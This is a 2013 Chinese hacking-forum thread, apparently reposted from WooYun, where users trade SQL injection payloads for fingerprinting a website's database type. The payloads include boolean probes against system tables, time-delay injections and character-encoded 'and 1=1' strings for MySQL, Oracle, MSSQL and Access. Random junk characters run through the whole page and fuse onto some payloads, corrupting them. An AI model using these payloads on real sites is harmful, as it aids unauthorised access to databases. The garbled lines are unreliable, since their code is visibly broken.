找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1910|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库( {9 H6 G9 S3 M# s. E! B2 @
xsser (十根阳具有长短!!) | 2013-02-05 12:36
0 l' v' y) C7 y# ]3 ^假设这么一个注射点:
  P: s4 h; e4 e0 gshow.html?id=2
& o' M0 A* t  {  qmysql:id=2 and version()>05 U: \5 H9 g# B. W
oracle:id=2 and '1'||'1'='11" J7 D0 X& O8 E+ q7 F
其他的欢迎补充+ A9 x2 S% _4 K* Y$ H
1#
# @8 C$ g5 T& w7 [: p8 iupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:476 ?; n7 h* [6 e7 r! ^) s) t
Access:) d3 f) q7 n& i- R, t
aNd aSc(cHr(97))=97
" _7 p, B; t  `) C) \# ^  x* f+ dand exists(select id from MSysAccessObjects)
; z( Z7 L# ]. L; X' D8 {SQL Server:4 u/ H  n$ k, w4 K+ c
and exists(select id from sysobjects)! k' u( `+ U/ w8 V  C, H; _. u: j
and length(user)>0
/ y8 ]7 O5 O2 f( n1 G" |* mMySQL:9 Y: w& k" M$ J
and length(user())>0
" h1 `5 E+ S- n3 M3 @+ A6 m5 B2#
8 r( s0 D8 N+ c, e  m3 v! W. {  Q0 Zxsser (十根阳具有长短!!) | 2013-02-05 12:48
/ ?7 O, O! F. S( ]+ [@upload 如果这些都不是呢…3 f# U! a8 W1 Z# P: g* q
3## j( C8 ^- c2 j/ i
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03+ n( L  x4 b$ R2 n- j; n: x* O
@xsser 不快速的,延时注入; Z. Y4 `: C% o: f
不知道这样写对不对$ H/ ]2 q+ }9 e9 w
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
! Z2 n' Z! t7 ^7 D* j/ ?mysql:id=2 and select benchmark(1e8,current_date());
2 ]3 |  y6 E- r# d1 \4 R& p5 F4#) ]: l- k2 |. @- J8 s, Y/ g
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10) m5 W) ^0 x$ p, p2 [( J; z
最快的貌似是看报错信息- l) z5 p7 Z4 q8 c9 v; f
oracle error
+ U1 L) a* o2 O7 dmssql error
8 \& k& ^" @' }. p( B. ?7 Xmysql error7 F3 Z' \& X) K; j
5#. D7 `) B8 x8 y) e4 ^( A
Nimda (你们都是坏银~) | 2013-02-05 13:14
3 V5 K3 x" x/ W& P& a小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
; P  a% y' ]1 f6#
+ M- B9 i( q& q* Iupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21. V* G1 {1 i. z8 @* Z; x$ ~8 J
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
$ X+ W, o8 z) \- o' x“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
6 a- H5 @! z, ^“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。. j& u7 Q1 Z) u0 f* s/ b
7#
/ P% k3 T1 a0 b2 `_Evil (HackEnd) | 2013-02-05 13:33
+ t- p$ y8 z9 p6 R( F, uPostgreSQL/ m! J9 {! `7 R  p. l& I" C
8#4 c- c  T( c0 v
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
; z7 z) w, R1 Y  F$ [切换编码 and 1=1: v8 U( A" V: h
oracle:
: P  b6 I: ?$ w; N3 ?/ A& BCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
- {- p0 B# m, {) a" z+ v# dmssql:
; w/ B* ~( J6 q- ^( HCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
7 W! e( I% e; }" l. v1 ], D4 Z/ _  omysql:6 N9 A) w! i9 P& E; a
CHAR(97, 110, 100, 32, 49, 61, 49)4 `2 o7 S. c8 k) |
9#. M$ `' E1 {: I  L+ W+ S' X
xsser (十根阳具有长短!!) | 2013-02-05 14:31
0 h! z2 K; A1 V( s1 ~" u7 ^@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?/ n* ^9 E/ ?+ ]' O, Q
10#
! |2 p3 s  f/ m8 J" }upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
' v% E1 J& p3 ?$ h) ]@xsser 是奇葩数据库类型的么?
9 Y8 t% ]/ j. [. |, u+ U根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
9 P' `( J1 O% f$ Z* U0 E  i3 y1.是否可以使用特定的函数来判断,该数据库特有的
0 g6 q6 g  s8 [( \; x& n2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等2 t! z2 J% X! x( a9 O+ e  g6 k9 f
3.是否可以编码查询
4 A6 I" P4 o: ]' [  S3 ]. i4.是否显可以利用错信息. l( ]9 V- X7 n. R0 N
5.是否存在数据库某些特性辅助判断: p; H# h; r) p( j; N6 }
个人见解
: b9 B5 T' Z# M1 U- g6 D11#
4 Y% B: K* N$ A- [0 i) Q小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:558 u  H3 R5 v% _$ {& G2 [
已收藏,mssql可以直接看到错误提示的吧~3 K1 n* o9 {- w
12#- _* m$ a) V  v, ?$ a( Y
Passer_by | 2013-02-05 15:09, t/ f: g2 o2 s7 o6 Q% K) e
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。2 V- {  ^2 K9 `9 k: T8 O
from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表